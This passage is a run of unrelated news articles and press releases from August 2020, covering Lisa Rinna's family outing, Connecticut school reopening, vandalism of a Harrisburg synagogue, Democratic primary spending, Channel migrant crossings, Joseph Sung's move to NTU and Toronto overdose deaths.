of 23 years Harry Hamlin, along with their beautiful daughters Amelia Gray and Delilah Belle. The Real Housewives Of Beverly Hills star, who turned 57 last month, twinned with her daughter Delilah, 22, both wearing black sleeveless tops. Mommy mode: Lisa Rinna looked to be in her element alongside her family on a Monday outing to Malibu's famed Country Mart; seen here with beautiful daughter Delilah Belle Lisa's top was more of the muscle shirt variety, which she paired with off-white chinos and Fendi sandals. Rinna covered up in sunglasses and a black face mask, and carried a shopping bag along with her smartphone and purse. She walked arm in arm with daughter Delilah, whose shirt was a crop top showing off her midriff. Masked as well, she donned loose-fitting light wash jeans held up with a black belt, and matching sandals. Delilah showed her support for one of Lisa's fellow Real Housewives by choosing a pretty yellow face mask from New York star Jill Zarin's Masks by Jill & Ally collection - a collaboration between the Bravo-lebrity and her daughter Ally. Everyone in masks: The Real Housewives Of Beverly Hills star, who turned 57 last month, twinned with her daughter Delilah, 22, both wearing black sleeveless tops Delilah wore ovular sunglasses and carried a small black purse under her arm. Amelia Gray, 19, also carried a shopping bag, and a purse on her shoulder. She had on rectangular sunshades and leaned her head in toward her dad as they strode along. She was in a sleeveless top as well, in a shade of yellow-green. She wore a pair of jeans like her sister, and the same pair of Fendi footwear her mom was sporting. Daddy's girl: Amelia leaned her head in toward her dad as they strode along Amelia crooked arms with her L.A. Law star father Hamlin, 68. The Clash Of The Titans star was also in jeans, and dressed casually in a weathered grey t-shirt with the emblem of a bird and the word 'exit' on the front. He wore black Nike sneakers with white swooshes at the sides, and a wooden beaded necklace. Fierce mom: Lisa recently received some unwarranted flack from the Real Housewives Of Beverly Hills co-star Garcelle Beauvais regarding her parenting skills; seen with Amelia in 2017 The whole clan made sure to keep their face masks on, as recommended by the Centers for Disease Control as the coronavirus pandemic rages on in California. Harry is also father to son Dmitri Alexander, 40, whom he shares with original Bond girl Ursula Andress, now 84. Meanwhile, Lisa recently received some unwarranted flack from the Real Housewives Of Beverly Hills co-star Garcelle Beauvais regarding her provocative social media videos. Unwarranted comment: Beauvais took issue with Rinna's provocative social media videos; seen here in February It all began when castmate Kyle Richards asked Lisa what her mother Lois thought 'about the dancing on Instagram in [her] underwear' that she often does. 'I do a lot of stuff on Instagram because Lois watches Instagram. So she sees everything,' Lisa replied. 'She has an iPad. Even though I know I'm being ridiculous, I always know that she gets to see everything and the girls. I think it really is great for her.' Unapologetic: 'I do a lot of stuff on Instagram because [mom] Lois watches Instagram. So she sees everything,' Lisa said; seen here in 2018 Shortly after, Beauvais said in her confessional that although she respects Lisa's freedom, she believes that the actress should be mindful of the message she is sending to daughter Amelia, who struggled publicly with anorexia in 2018. 'I love that Lisa's free enough to do the videos and be dancing, but the dancing nearly naked is not a choice for me if I had a daughter that had body issues,' opined the 53-year-old. Though Lisa has not directly replied to Beauvais's diss publicly, fans of RHOBH have flooded the actress' Instagram DMs with support. Her reasoning: Beauvais said in her confessional that although she respects Lisa's freedom, she believes that the actress should be mindful of the message she is sending to daughter Amelia, who struggled publicly with anorexia in 2018; seen here in 2016 Lisa went on to share these kind messages on her Instagram Story for her 2.5million followers to see. 'Lisa, your dancing is not a bad thing for your daughter to see. If anything it teaches her to be comfortable with her own body,' read one of the DMs on Lisa's Instagram Story. Many took issue with Garcelle commenting on 'how a mother should or should not act when her child has body issues' because 'it is not for her or anyone else to dictate.' WINSTED Allowing children to return to their classrooms in September, with a focus on their health at all times, is what Gov. Ned Lamont wants more than anything. That was the message he brought to Winsted Tuesday, during a roundtable discussion and press conference with school and town officials. Lamont was joined at Pearson Middle School by state Education Commissioner Miguel Cardona, Winchester Public Schools Superintendent Melony Brady-Shanley, school Principal Barbara Silverio and Mayor Candy Perez, as well as state Rep. Jay Case and local public safety officials. Lamont said Winsteds effort to bring students back to school in person for Aug. 31 was a great achievement. I know we can (reopen the schools), Lamont said. Today is a testimony of that. Noting Connecticuts success with reducing the number of COVID-19 cases during the coronavirus pandemic over other states, the governor added, If Connecticut cant get kids back in the classroom, no state can. Weve earned the right to reopen our schools. In early July, CT Mirror reported that Connecticuts cases of COVID-19 were less than one percent. At that time, according to the report, Lamont said he was adamant about delaying a third phase of easing COVID-19 restrictions after seeing infection rates spike in other states and prompting governors to close bars, for example, that had just been allowed to reopen. Meanwhile, school districts such as Brady-Shanleys are doing everything they can to ensure children are protected from the virus. Brady-Shanley said the reopening plan began this summer during the districts summer-school program, when children attending those sessions wore masks, washed their hands and understood the concept of social distancing while following a daily education routine. The district created a team to develop classroom safety protocols, remote learning plans, provision of cleaning supplies and personal protective equipment, and a safety plan for school buses and meal times. To have a positive result on reopening, we needed a team approach, Brady-Shanley said. We set up classrooms, cleaned the buildings, addressed fears. ... Were communicating with families. Children need the benefit of face-to-face interaction, she said. I stand here as a parent of a second-grader and a high school freshman, and I see how my own children miss their teachers and their friends. Kids want to be back in the classroom. Brady-Shanley sought the publics opinion over the past month with an online survey and public online forum, and said Tuesday that 76 percent of the parents surveyed wanted their children to return to school in person, while the remaining 22 percent wanted to use the distance learning option, and 2 percent were planning to home-school. The state required all public schools to develop three options for reopening: full in-person; full distance learning; and a hybrid of at-home instruction and classroom time. School districts have chosen various iterations of these options. In Torrington, for example, the district is using a hybrid plan in which 50 percent of the students will attend school in-person on Mondays and Tuesdays and the other 50 percent on Thursdays and Fridays, with the other days being at-home instruction. All students would work remotely on Wednesdays, allowing the district to clean the buildings. Ultimately, public health is the most important thing, and its what we care about the most, Lamont said. We were one of the first states to close our schools, and if we have to, well close them again. I hope we wont. Lamont was asked whether he thought waiting to reopen until concerns about a spike in virus cases, anticipated by some to come in fall or winter, according to CNN.com, was a good idea. I dont know whats going to happen in a month, he said. Lets let them back in school, if we can do it safely. Amid an outpouring of support and show of solidarity from among faith and elected leaders across Harrisburg, the Jewish Federation of Greater Harrisburg is condemning the desecration of Kesher Israel synagogue. Since World War II, the swastika has been a symbol of death, hate, and destruction that people of all faiths, nationalities, and beliefs reject, said Jenn Ross, president and CEO of the federation. Painting the ultimate symbol of hate, racism, and genocide on a synagogue, community center, or cemetery in our community or anywhere in the world is universally repugnant. We stand in solidarity with fellow congregants, our Harrisburg neighbors, and Americans of good will everywhere in supporting tolerance, equality, and freedom--absolutely no exceptions, no qualification, and no hate symbolsnot now, not ever. Meanwhile more than a dozen faith and elected leaders issued similar condemnation and messages of support and solidarity in response to Mondays defacing of Kesher Israel synagogue. Harrisburg Mayor Eric Papenfuse and the Mayors Interfaith Advisory Council condemned the act of vandalism in the strongest terms. The mayor along with the co-chair of MIAC, the Rev. Russell W. Goodman, of Calvary United Methodist, wrote: We stand in complete support of and solidarity with the members of Kesher Israel and the entire Jewish community of Greater Harrisburg. An attack on one of us is an attack on all of us. All of Gods creation is holy, and worthy to be loved. The organization is planning a community vigil outside the synagogue between 5-5:30 p.m. Wednesday. The synagogue, an orthodox congregation on the 2500 block of N. Third St., was defaced sometime Monday morning with two red swastikas spray painted at the entrance. Law enforcement and the FBI quickly responded to the incident, Rabbi Elisha Friedman of Kesher Israel told PennLive on Monday. The vandalism was blasted off the walls of the building. We are heartened by the immediate, robust, and sincere expressions of condemnation of this act and depth of support for Kesher Israel, Ross said. Together we stay strong and united in faith and solidarity. Thank you to the Greater Harrisburg community. Messages of support and solidarity came from Jewish leaders as well as those of other faiths. Rabbi Peter Kessler of Temple Ohev Sholom and its president, Rob expressed a shared sadness and outrage over the vandalism. An attack on one Jewish institution is an attack on all Jewish institutions, and we are here for you as your neighbors and friends to fight anti-Semitism wherever it exists and to support you at this difficult time, they wrote. Rabbi Ron Muroff of Chisuk Emuna Congregation said that the painting of a swastika on a synagogue is meant to instill fear in Jews and all dehumanized by Nazi ideology. However, the widespread condemnation of this cowardly and hateful act demonstrates that the overwhelming majority of Americans - of all religious, political, racial and other backgrounds - stand united together to protect the freedoms of people throughout our nation, Muroff said. We support our friends at Kesher Israel and all those threatened by hate groups. Our most effective response to this crime is to redouble our efforts to build a more just and equal society. Other messages include: We are saddened, and strongly condemn this act of hate towards a House of Worship. We stand in solidarity with Kesher Israel and the Jewish community. - Muslims of Central Pa The Diocese of Harrisburg, following the Decree of the Second Vatican Council, Nostra tate, decries hatred, persecutions, and displays of anti-Semitism, directed against Jews at any time and by anyone. We support our Jewish neighbors in this time of trial and invite all people to pursue what leads to peace and to building up one another. (Romans 14:19) - the Rev. James Lease, the Diocese of Harrisburg We at St Pauls stand with our brothers and sisters at Kesher Israel and give our support to Rabbi Friedman and the people of this congregation. Gods love covers us all and we are with you in love. - The Rev. Canon Kate Harrigan, St Pauls Episcopal Church Harrisburg, Rector, S.t Stephens Episcopal School, Harrisburg, Chaplain As clergy in the United Church of Christ, I join in condemning this act of hatred and discrimination. I feel certain that I represent other UCC clergy and congregants in offering our siblings of Kesher Israel Congregation these cyber words of our support and solidarity with them as they deal with and try to recover from the physical and emotional damage done. May Gods light of love break through the darkness of all the hate and division and grant you comfort, healing and strength. - Rev. Karin Stork-Whitson, United Church of Christ Kesher Israel Congregation in Harrisburg reported swastikas painted on its synagogue. Graffiti and vandalism will not be tolerated and I reject the hatred these symbols represent. While this may be an isolated incident, we cannot allow this behavior to become routine. - Rep. Patty Kim Hate has no place in our community. History teaches us that we have a moral responsibility to condemn this type of behavior in the strongest terms. I stand in solidarity with the Kesher Israel Congregation against this act of intolerance and bigotry. " - George Scott, a pastor and Democratic candidate for Pennsylvania Senates 15th District. Friedman said the synagogue has in recent years focused on security, particularly in the wake of the 2015 white supremacist church shooting in Charleston, S.C., which claimed the lives of nine Black church members, and the 2018 mass shooting at Pittsburghs Tree of Life synagogue, which left 11 worshippers dead. Anti-Semitic incidents surpassed record levels last year. According to the Anti-Defamation League, 2,107 hate crimes were committed against Jewish people nationwide in 2019. According to the organizations annual survey that is the highest number since the ADL began tallying hate crimes in 1979. Planners of Wednesdays vigil ask that participants wear masks and practice social distancing. The Jewish community has started a GoFundMe fundraiser to support the safety and security of its community. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. LAS VEGAS, Aug. 11, 2020 /PRNewswire/ -- DelMar Aerospace proudly announces the roll-out of our new Rapid Deployment Solutions service. Sending contractor personnel and equipment globally to support the US Military or other Agencies is challenging. Immigration, medical, training, and transportation hurdles coupled with Government paperwork and systems make "routine" deployments difficult in the best of times. In a COVID-19 worldthe "new normal" changes daily for contractors with global operations. Having repeatedly overcome these challenges, DelMar Corporate leadership decided to repackage its internal, best-in-class mobilization and deployment service and make it available for companies with overseas operations. With the introduction of Rapid Deployment Solutions, Delmar Aerospace leverages a staff with over 50 years of experience cost-effectively deploying personnel on-time, on-target, and always in compliance with Government regulations to the Middle East, Africa and elsewhere. Using the most current guidelines and real-time information, DelMar will tailor packages to meet any budget and assist with process development, visas, paperwork, Letters of Authorization, navigating Government systems, medical certifications, training and more. Future packages will expand to include additional supply chain management, logistics, and demobilization services. From simple hourly consulting to highly cost-effective service delivery packages, DelMar will quickly build a cost-effective solution and make the business transaction painless. Liz Boxford, DelMar Aerospace's Program Support Manager, noted that "DelMar is a multifaceted aerospace company which provides best-in-class support to the warfighter. With our Rapid Deployment Solutions initiative, we will offer our customers a novel, best value means to deploy their employees quickly and safely. DelMar's proven processes make it an ideal partner to solve the challenges involved with OCONUS deployments, even under dire conditions. COVID-19 has proven to be a contractor's biggest challenge in mobility readiness. With our hard-charging approach, knowledge, and our skillful networking abilities in the industry: we can and will successfully meet your needs" Joining Liz and the rest of the Delmar team is our new Logistics Operations Manager, Josephine Rodriguez. Her vast knowledge of contractor deployment and logistics processes adds additional expertise to DelMar's formidable team of specialists. Having trouble navigating mobilization regulations? Getting visas? Getting training complete? Because Deployment is complicated enough.... let us do the hard work, so you don't have to. Please contact our team at telephone number 702-637-4162 or by email at [email protected] Establish, Certify, Move, Arrive! For more information on DelMar Aerospace Corporation: Website: www.delmaraero.com LinkedIn: http://www.linkedin.com/company/delmaraero/about/ Contact: Delmar Aerospace Corporation [email protected] (702) 637-4162 Photo(s): https://www.prlog.org/12833650 Press release distributed by PRLog SOURCE Delmar Aerospace Corporation Related Links http://www.delmaraero.com Pastor John MacArthur is facing legal action after opening up onsite church gatherings. Due to California's safety restriction, the pastor is receiving special counsel from President Donald Trump's personal attorney, Jenna Ellis, and religious freedom expert Charles LiMandri. Pastor MacArthur is currently being protected through Donald Trump and throughout this moment, Christians hope that churches will be considered as essential. "I look forward to advocating on their behalf and hopefully encouraging other pastors and churches to also have the courage of Pastor MacArthur to stand firm that church is essential." According to the media, the church was threatened from the city of los Angeles with a daily fine of $1,000 or arrest if they continue to meet for indoor worship services. Christian Post reported, "California issued a measure that banned indoor operations, including at houses of worship, in many counties across the state. MacArthur publicly declared this move an "overreach" and, after prayer and counsel with his elders, decided to reopen his church despite the edict." MacArthur's Grace Community Church blog stated, "Never before has the government invaded the territory that belongs only to the Lord Jesus Christ and told us we can't meet, we can't worship, we can't sing. There's no power given to the government to make those kinds of calls against us. Macarthur stated the government doesn't have power over the church community and believes that from covid-19, churches are being shut down indefinitely. Questioning the government why churches aren't able to be open for service and small groups there are negative thoughts on exercising and other activities that are currently allowed in the states that could have more risk of catching covid-19. "Pastor MacArthur and Grace Community church are not disobeying the Constitution; it is California's Governor Gavin Newsom and Mayor Eric Garcetti that are defying their constitutional obligation to protect religious freedom and church assembly." NOT FOR DISTRIBUTION TO U.S. NEWSWIRE SERVICES OR FOR DISSEMINATION IN THE UNITED STATES. ANY FAILURE TO COMPLY WITH THIS RESTRICTION MAY CONSTITUTE A VIOLATION OF U.S. SECURITIES LAW CALGARY, Alberta, Aug. 11, 2020 (GLOBE NEWSWIRE) -- High Arctic Energy Services Inc. (TSX: HWO) "High Arctic" or the "Corporation will release its 2020 second quarter results on Thursday, August 13, 2020 after markets close. Financial statements and Managements Discussion and Analysis will be posted to www.haes.ca and SEDAR after the results are released, after market, Thursday August 13, 2020. Note that no conference call is scheduled for this quarter. About High Arctic High Arctic is a publicly traded company listed on the Toronto Stock Exchange under the symbol HWO. The Corporations principal focus is to provide drilling and specialized well completion services, equipment rentals and other services to the oil and gas industry. High Arctic is a market leader providing drilling and specialized well completion services and supplies rig matting, camps and drilling support equipment on a rental basis in Papua New Guinea. The North American operations provide well servicing, well abandonment, snubbing and nitrogen services and equipment on a rental basis to a large number of oil and natural gas exploration and production companies operating in Western Canada and the United States. For further information contact: Scientists have made a key discovery in the fight against malaria which could allow for drugs to be rapidly repurposed to treat a range of diseases including Covid-19. Academics from RMIT University in Australia found enzymes made by human cells are awakened following infection. The same enzymes triggered by a malaria parasite were also activated in cancerous cells, indicating they could play a central role in controlling human disease. Targeting these, instead of the invading pathogen itself, could allow for a host of new treatments to be created, the researchers say. It would also allow scientists to take existing drugs and tailor them to find a cure for new and emerging diseases. This is exactly what the Australian academics now intend to do for Covid-19, and have received Government funding to find out if it is possible. Scroll down for video Current malaria drugs target the parasite itself but academics from RMIT University in Australia found infection often relies on enzymes in red blood cells of the host. Pictured, antibody array data showing activation of kinases in human red blood cells infected with the malaria parasite Dr Jack Adderley of RMIT University in Melbourne was the first to identify which host enzymes were activated by the malaria parasite infection. 'This approach has the potential to considerably reduce the cost and accelerate the deployment of new and urgently needed antimalarials,' he said. The study also found that the enzymes triggered by malaria infection are often the same ones which are activated in cancer cells. 'We can now jump on the back of existing cancer drug discovery and look to repurpose a drug that is already available or close to completion of the drug development process,' he says. Dr Jack Adderley of RMIT University in Melbourne found which host enzymes were activated by the malaria parasite infection. 'This approach has the potential to considerably reduce the cost and accelerate the deployment of new and urgently needed antimalarials,' he said More than 100 Americans have died after taking anti-malaria drug hydroxychloroquine for COVID-19 More than 100 Americans have died after taking hydroxychloroquine in a misguided effort to treat or prevent coronavirus so far this year, a new report reveals. In the first six months of 293 people died after taking hydroxychloroquine, according to the Milwaukee Journal Sentinel's review of the Food and Drug Administration's (FDA) adverse events reporting system. That's compared to just 75 in the first half of 2019. Much like public health experts use the number of 'excess' deaths to estimate how many people died of coronavirus but have not yet been counted, the Sentinel looked at data on those other 218 deaths. The reason 'more than half' of those people had been taking hydroxychloroquine or chloroquine was COVID-19. It comes after the overwhelming majority of big, credible studies on using the malaria drug to treat coronavirus showed - despite Trump's repeated optimism over it - that it offered no benefit to people with the viral infection. Advertisement The research team will now work with the Peter Doherty Institute for Infection and Immunity to investigate potential COVID-19 treatments using the same approach. Funding has been given to the venture by the Victorian Medical Research Acceleration Fund in partnership with the Bio Capital Impact Fund (BCIF). Dr Julian Druce of the Doherty Institute will be involved with the project and was part of the team that first study SARS-CoV-1, the virus which causes Covid-19, in detail. He called the malaria finding and its implications for Covid-19 treatment an important contribution to efforts to defeat the pandemic. Royal Melbourne Hospital's Professor Peter Revill, Senior Medical Scientist at the Doherty Institute, said the malaria discovery was truly exciting. 'This has proven successful for other human pathogens including malaria and Hepatitis C virus, and there are now very real prospects to use it to discover novel drug targets for Hepatitis B and COVID-19,' he said. By targeting the human enzymes and not the pathogen specifically, this avenue for treatment could help combat drug resistance. 'We are at risk of returning to the pre-antibiotic era if we don't solve this resistance problem, which constitutes a clear and present danger for global public health. We need innovative ways to address this issue,' said Dr Christopher Doerig, Associate Dean for the Biomedical Sciences Cluster at RMIT. 'By targeting the host and not the pathogen itself, we remove the possibility for the pathogen to rapidly become resistant by mutating the target of the drug, as the target is made by the human host, not the pathogen.' The research was published in the journal Nature Communications. Consider Dianne Crosell, owner of Crosell & Co. jewelry and gift shop downtown. Crosell shut her store down because of the pandemic, reopened, and then had to shut down again after looting during the George Floyd unrest in May. Less than a week ago, she opened once more. Because of the looting that began Sunday and spilled into early Monday morning, she had to close her doors again. Looters pilfered most of her stores inventory. I feel like we are under attack and under siege, she told the Tribune. If this keeps happening, why is anyone going to stay? From left: Mike Bloomberg, Elizabeth Warren, Bernie Sanders, Joe Biden, Pete Buttigieg and Amy Klobuchar at the start of the Democratic presidential primary debate on Feb. 19 in Las Vegas. (Ethan Miller/Getty Images) The 2020 presidential election is shaping up to be the most expensive ever, with nearly $2.5 billion shelled out among all the Democratic candidates in the race to be the partys nominee. While money cant buy an election, it is a fairly good indicator of who will win a race; big donors like to give money to candidates they think will be successful. Statistically, top-spending candidates usually win 90 percent of the time in House races since 2000. Hoping to oust President Trump, more than 20 Democrats jumped into the primaries, raising and spending impressive sums. Former Vice President Joe Biden is set to receive the partys nomination at its national convention despite being outraised and outspent by rivals Michael Bloomberg and Sen. Bernie Sanders. With the final presidential primary in Connecticut and the Democratic National Convention looming, heres a look back on some of the billions spent on the fight to secure the Democratic presidential nomination. Some of the lesser-known candidates spent big, including former Massachusetts Gov. Deval Patrick, whose four-month campaign cost just under $3 million. He was one of the last candidates to enter the Democratic race, in November 2019, and dropped out on Feb. 12 after finishing next to last in the New Hampshire primary. Former Housing and Urban Development Secretary Julian Castro was one of the first to enter the Democratic race, at the end of 2018. He spent nearly $10 million over the course of his campaign, which lasted until January 2020. And then there were the media darlings. Both former Rep. Beto ORourke and tech entrepreneur Andrew Yang quickly rose in popularity, particularly among young progressives. ORourke first gained national recognition during the 2018 midterm elections when he narrowly lost to Texas Sen. Ted Cruz. His presidential campaign spent more than $17 million, before he dropped out of the race ahead of the Iowa caucuses. Andrew Yang had the support of a large grassroots base that dubbed themselves the #YangGang, galvanized by his progressive, if not controversial, proposal for a universal basic income of $1,000 per month for every American adult. Yang spent nearly $40 million before he dropped out after the New Hampshire primary, where he placed eighth and received only 3 percent of the vote. Story continues None of these candidates managed to win any delegates. Then there were former South Bend, Ind., Mayor Pete Buttigieg and Sen. Elizabeth Warren, who memorably clashed on the debate stage over Buttigiegs holding a fundraiser in wine caves full of crystals. Buttigieg, the youngest of the major Democratic contenders, entered the race with the hope of uniting both moderate Democrats as a Navy veteran and the progressives of the party as the first openly gay Democratic presidential candidate. His campaign spent just under $95 million and surprised many by scoring 21 delegates in early primaries and caucuses. But he dropped out after the South Carolina primary, where he finished fourth, and promptly endorsed Biden. Bloomberg, Warren and Sanders at the February presidential primary debate in Las Vegas. (Mario Tama/Getty Images) Massachusetts Sen. Warren fared better, scoring 63 delegates with her progressive, policy-focused campaign. She was one of the biggest spenders in the primary race, shelling out more than $127 million, but dropped out after disappointing results on Super Tuesday, when she failed to win any states, and also backed Biden. The fight for the Democratic nomination was often portrayed as a fight between grassroots candidates like Sen. Bernie Sanders (I-VT) and billionaire businessmen like Tom Steyer. Sanders refused to accept money from PACs, running a campaign fueled by small-dollar donors. He frequently boasted during the campaign that his average donation was just $27. Bernie entered the 2020 race as a frontrunner with a lot of momentum left over from his 2016 presidential run. The democratic socialist was the last man standing against Biden, winning 1,073 delegates. Sanders managed to outspend most of his competitors more than $200 million, according to his FEC filing in late July. Compare that with Tom Steyer, a hedge fund manager turned environmentalist, who spent a whopping $351 million of his own money on his presidential campaign. Though he never had much of a following, he managed to make it into several televised debates and did gain some national recognition because he was able to fund his own campaign. But after earning zero delegates in the early primaries, he dropped out of the race after South Carolina. Sanders and Steyer actually outspent Joe Biden in the primaries. From left: Sanders, Biden, Klobuchar and Tom Steyer arrive onstage for the Democratic presidential primary debate on Feb. 25 in Charleston, S.C. (Scott Olson/Getty Images) One of the most notable aspects of the 2020 primaries were the number of women vying to be president. Sens. Kamala Harris and Amy Klobuchar were considered serious contenders, along with long shots Rep. Tulsi Gabbard of Hawaii and self-help author Marianne Williamson. Harris started out of the gate strong, before her campaign quickly unraveled amid news and rumors of infighting. She repeatedly tried to grab progressive voters but failed, dogged by her record as California attorney general and her problems formulating a consistent stand on some issues, notably health care. Harris spent nearly $40 million before dropping out at the end of 2019. Klobuchar gained support from Democratic voters who thought a centrist candidate from the Midwest stood the best chance against Trump. Coming from Minnesota, she was often pitted against Pete Buttigieg as the Midwest regional favorite. She spent more than $51 million before dropping out before Super Tuesday and backing Biden. And then there was the biggest spender of the race, former New York Mayor Mike Bloomberg. This Democrat turned Republican turned independent turned Democrat was a late entry into the primary field. He skipped the early primaries in February and instead focused his entire campaign on the multistate Super Tuesday in March. Bloomberg managed to spend $1.1 billion of his own money more than all the 2016 primary campaigns combined in just over 100 days, but dropped out the morning after Super Tuesday with only 59 delegates. Ultimately, the 24 candidates spent more than $2 billion in total. Though the Biden camp raised millions after announcing his entry into the race, he often struggled to keep pace with the other candidates. He heads into the general election after spending more than $165 million. _____ Read more from Yahoo News: By Peter Nicholls DOVER, England (Reuters) - Britain said on Tuesday it wanted greater flexibility to return illegal immigrants to France after a surge in the number embarking on the perilous journey across the English Channel. Hundreds of people, including some children, have been caught crossing to southern England from makeshift camps in northern France since Thursday - many navigating one of the world's busiest shipping routes in overloaded rubber dinghies. British Prime Minister Boris Johnson says he wants to stop the illegal crossings and has sent Immigration Minister Chris Philp to Paris for talks with the French government. Britain says the EU's so-called Dublin Regulation, which currently governs the return of illegal immigrants, is too inflexible and has very tight timeframes. Junior health minister Edward Argar said Johnson wanted more flexibility. "What he's looking at, quite rightly, is greater flexibility ... in returning people who have come here illegally ... and need to be returned back to France," Argar told Sky News. More than 20 migrants were escorted to Dover on Tuesday by the British border force. Many of the migrants seeking to reach Britain come from Afghanistan, Iraq, Iran, Syria and countries in Africa, fleeing poverty, persecution or war. Some stand a chance of being granted asylum, while others, considered illegal economic migrants, are unlikely to be allowed to remain in Britain. Organised crime groups offer to help the migrants cross the Channel for around 500 pounds ($650), the Sun newspaper reported, adding that some smugglers offer "kids go free" deals. Britain's interior ministry, known as the Home Office, declined repeated requests to supply data on the number of illegal crossings. (Reporting by Guy Faulconbridge and Sarah Young; editing by Kate Holton and Giles Elgood) A former Chinese University president and gastroenterologist hailed as an Asian hero during the Sars epidemic in 2003 has been appointed as the medical dean of Singapores Nanyang Technological University (NTU) and will move to the city state next year. Joseph Sung Jao-yiu, 60, took the helm of Chinese University as its president and vice-chancellor in 2010, after years spent in teaching and research, before deciding to step down in 2017. The gastroenterology scientist, who called Hong Kong his sweet home forever in a social media post on Tuesday, said he was both sad and excited about the move, but added he did not view it as truly leaving Hong Kong, as his family would be staying in the city. Get the latest insights and analysis from our Global Impact newsletter on the big stories originating in China. Students take photos with Chinese Universitys then-president Joseph Sung during a 2016 graduation ceremony. Photo: David Wong Sung, who served as associate dean of Chinese Universitys medical faculty before becoming president, had remained with the faculty as a professor, and currently serves as director of two key research entities, including the institute of digestive disease. He was best known outside Hong Kong as the lead doctor during the citys fight against severe acute respiratory syndrome (Sars) in 2003, for which Time magazine dubbed him an Asian hero for his contributions. During his time as president of Chinese University, Sung was popular among students, especially after he visited protest scenes during the 2014 Occupy movement to engage in talks with young demonstrators. He repeated that last November, when he visited the universitys campus in Sha Tin to talk with protesters during the height of months of social unrest. Professor Joseph Sung, a former vice-chancellor at Chinese University, appears to speak with students as clashes break out between riot police and at the schools Sha Tin campus in November. Photo: Felix Wong My friends, it is with sadness and excitement that I disclose my plan to you that I will be taking up a new job at the Nanyang Technological University of Singapore as Dean of Medicine and Senior Vice President starting March 2021, turning a new page in my life, Sung wrote on his Facebook page. In a 400-word post titled Moving to Singapore, Sung said artificial intelligence and health care were his vision and passion and that NTU would provide a wonderful opportunity and a good platform to develop this field. Story continues Now I have to say goodbye to all my friends at home, Hong Kong. I do not consider myself leaving Hong Kong, as my family and my mother are still living here. Singapore is only three hours away by flight, and I have asked my wife to save some dinner for me, he said. [But] my excitement stems from having this great opportunity to help developing a young medical school and coordinating life science research at a vibrant university, a top institute not only in Asia, but also in the global league. He also noted he was proud of the world-renowned health care workers who had led Hong Kong through Sars and were still fighting the ongoing Covid-19 pandemic, adding he hoped to tighten academic bonds between his home city and Singapore. I am not playing [on a competing] team. On the contrary, I hope my move can help to bring Hong Kong and Singapore closer in academic collaborations Renowned Sars doctor and former Chinese University president Joseph Sung Sung wrote: I have to bid farewell to my friends in academia. I am not playing [on a competing] team. On the contrary, I hope my move can help to bring Hong Kong and Singapore closer in academic collaborations. Dont be surprised next time when you see me on a jogging trail in Hong Kong. I will be here very often. Hong Kong is my sweet home forever! In a statement, an NTU spokeswoman said Sung would formally begin his tenure on April 1, succeeding current dean of medicine Professor James Best, an endocrinologist from Australia who would be retiring after nearly seven years in the position. Sung was unanimously recommended after a global search by a search advisory committee. The statement also quoted NTU president Professor Subra Suresh, who said he was delighted that Sung would be joining the university and that he was looking forward to working with him to drive the school's aspirations in health, medicine and life sciences. Professor Joseph Sung stepped down from his role as president and vice-chancellor of Chinese University in 2017. Photo: David Wong NTU was ranked the worlds 13th-best university according to the QS World University Rankings 2021, while Chinese University was ranked 43rd. Sungs departure is one of the more significant departures of a member of Hong Kongs intellectual elite in recent memory. Last month, it was revealed that several teaching and research staff members from the University of Hong Kongs Department of Microbiology, including its department head, would be departing the university. It was understood some of them may have planned to leave Hong Kong. Did you know that among the world's top five health care markets, China is the only one growing at double digits? Get a comprehensive industry review and insights on Covid-19 induced market shifts with the China Healthcare Report, brought to you by SCMP Research. Sign up for our 50% early bird discount now. You will also receive access to 6 closed-door webinars led by China healthcares most influential C-suite executives. Offer Valid until August 12th 2020. This article Joseph Sung, 2003 Sars hero and former Chinese University president, to lead medical school at Singapores NTU first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2020. Twenty-seven Torontonians died by drug overdose in July, a grim monthly record for the city that far exceeded the number of Torontonians killed by COVID-19 in the same period. Coun. Joe Cressy, the citys public health chair, said Tuesday the Ontario government must immediately start implementing recommendations from Torontos top public health doctor to halt the surge in preventable deaths. What were seeing in Toronto mirrors what were seeing across Canada, in cities including Vancouver and Calgary, Cressy (Ward 10 Spadina-Fort York) said in an interview. The combination of reduced (health) services because of COVID-19 coupled with an extremely tainted drug supply, with all the changes to border activity, has resulted in an ever more dangerous drug supply, he said. The continued stigma associated with drug use, where we treat it not as a health issue but as a criminal justice matter, results in reduced services for people who need it. Its time that higher orders of government treat the overdose crisis like a health issue and fund programs and save lives, as opposed to treating it like a toxic issue. Torontos overdose death toll in July more than doubled Junes total of 13. Toronto paramedics attended 25 suspected overdose-related deaths in May and also in April. From March to July, such deaths jumped 85 per cent over that period in 2019. COVID-19 killed 18 Torontonians in July, according to Toronto Public Health. In June, Dr. Eileen de Villa, Torontos medical officer of health, called for specific actions by the Ontario and federal governments to contain an opioid crisis that has killed 14,000 Canadians over the past four years. They include: lifting the Doug Ford governments arbitrary cap of 21 safe-injection sites in Ontario; fully funding treatment and harm reduction services for drug users; and expanding access to naloxone, which can reverse overdoses. De Villa also wants drug use decriminalized and help providing users with a safer supply, including legal, regulated prescription opioids as part of treatment. Cressy is hopeful the federal Liberal government will allow Toronto users to access hydromorphone, a synthetic opioid available in B.C., and that Ontarios Progressive Conservative government will add it to provincial benefit plan. But so far Fords government has ignored all de Villas recommendations, Cressy said, and the province, frankly, has taken steps backwards rather than forward when it comes to overdose prevention in recent years. Ford in 2018, months before he was elected premier, said hes personally dead set against supervised injection sites and the focus should be on rehabilitation. His late brother, Rob Ford, received successful drug and alcohol treatment at a private Muskoka clinic while Toronto mayor in 2014. Zoe Dodd, a Toronto harm reduction worker, said overdose deaths started rising in January, before COVID-19 significantly hit the city. The subsequent suspension of health services and relocation of some homeless people to shelter hotels, away from their drug supply, heightened the crisis, she said. Governments need to take this crisis as seriously as they do with COVID, said Dodd, who helps run one of two safe-injection sites in Toronto that receive no provincial funding, unlike seven others in the city. In Ontario everything ground to a halt as soon as the Ford government took office, she said. You need all levels of government working together, which they have never done, because otherwise the carnage is lasting and will go on. Ontarios health ministry remains committed to addressing the opioid crisis and to supporting people with an opioid use disorder to get the help that they need, said Alexandra Hilkene, spokesperson for Health Minister Christine Elliott. In an email, Hilkene said the ministry is actively monitoring the impact of COVID-19 on people who use opioids, and taking steps to support people who use opioids during COVID-19, including support for existing safe-injection sites plus programs to distribute naloxone and facilitate needle exchanges. Safe-injection sites have modified practices to reduce COVID-19 infection risk, Hilkene added, including screening, physical distancing and increased cleaning. 